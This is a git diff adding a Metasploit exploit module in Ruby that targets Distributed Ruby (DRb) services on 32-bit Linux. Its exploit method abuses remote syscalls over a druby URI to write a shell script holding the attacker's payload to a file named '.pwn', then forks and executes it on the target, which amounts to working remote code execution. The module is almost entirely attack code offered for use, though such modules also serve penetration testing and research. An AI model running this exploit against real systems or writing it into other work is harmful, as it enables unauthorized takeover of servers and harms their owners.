diff --git a/modules/exploits/linux/http/drb_syscall_linux_32.rb b/modules/exploits/linux/http/drb_syscall_linux_32.rb new file mode 100644 index 0000000000..a21a5aeed2 --- /dev/null +++ b/modules/exploits/linux/http/drb_syscall_linux_32.rb @@ -0,0 +1,67 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + +require 'msf/core' +require 'drb/drb' +class Metasploit3 < Msf::Exploit::Remote + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Distributed Ruby send syscall vulnerability.', + 'Description' => %q{ This module exploits remote syscalls in DRuby + }, + 'Author' => [ 'joernchen (Phenoelit)' ], + 'License' => MSF_LICENSE, + 'Version' => '', + 'References' => + [ + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + }, + 'Space' => 32768, + }, + 'Platform' => 'linux', + 'Arch' => ARCH_ALL, + 'Targets' => [[ 'Automatic', { }]], + 'DefaultTarget' => 0)) + + + register_options( + [ + OptString.new('URI', [true, "The druby URI of the target host ", ""]), + ], self.class) + end + + def exploit + serveruri = datastore['URI'] + DRb.start_service + p = DRbObject.new_with_uri(serveruri) + class << p + undef :send + end + filename = "." + Rex::Text.rand_text_alphanumeric(16) + filename = ".pwn" + # syscall open + i = p.send(:syscall,8,filename,0700) + #syscall write + p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10) + #syscall close + p.send(:syscall,6,i) + #syscall fork + p.send(:syscall,2) + #syscall execve + p.send(:syscall,11,filename,0,0) + + handler(nil) + end +end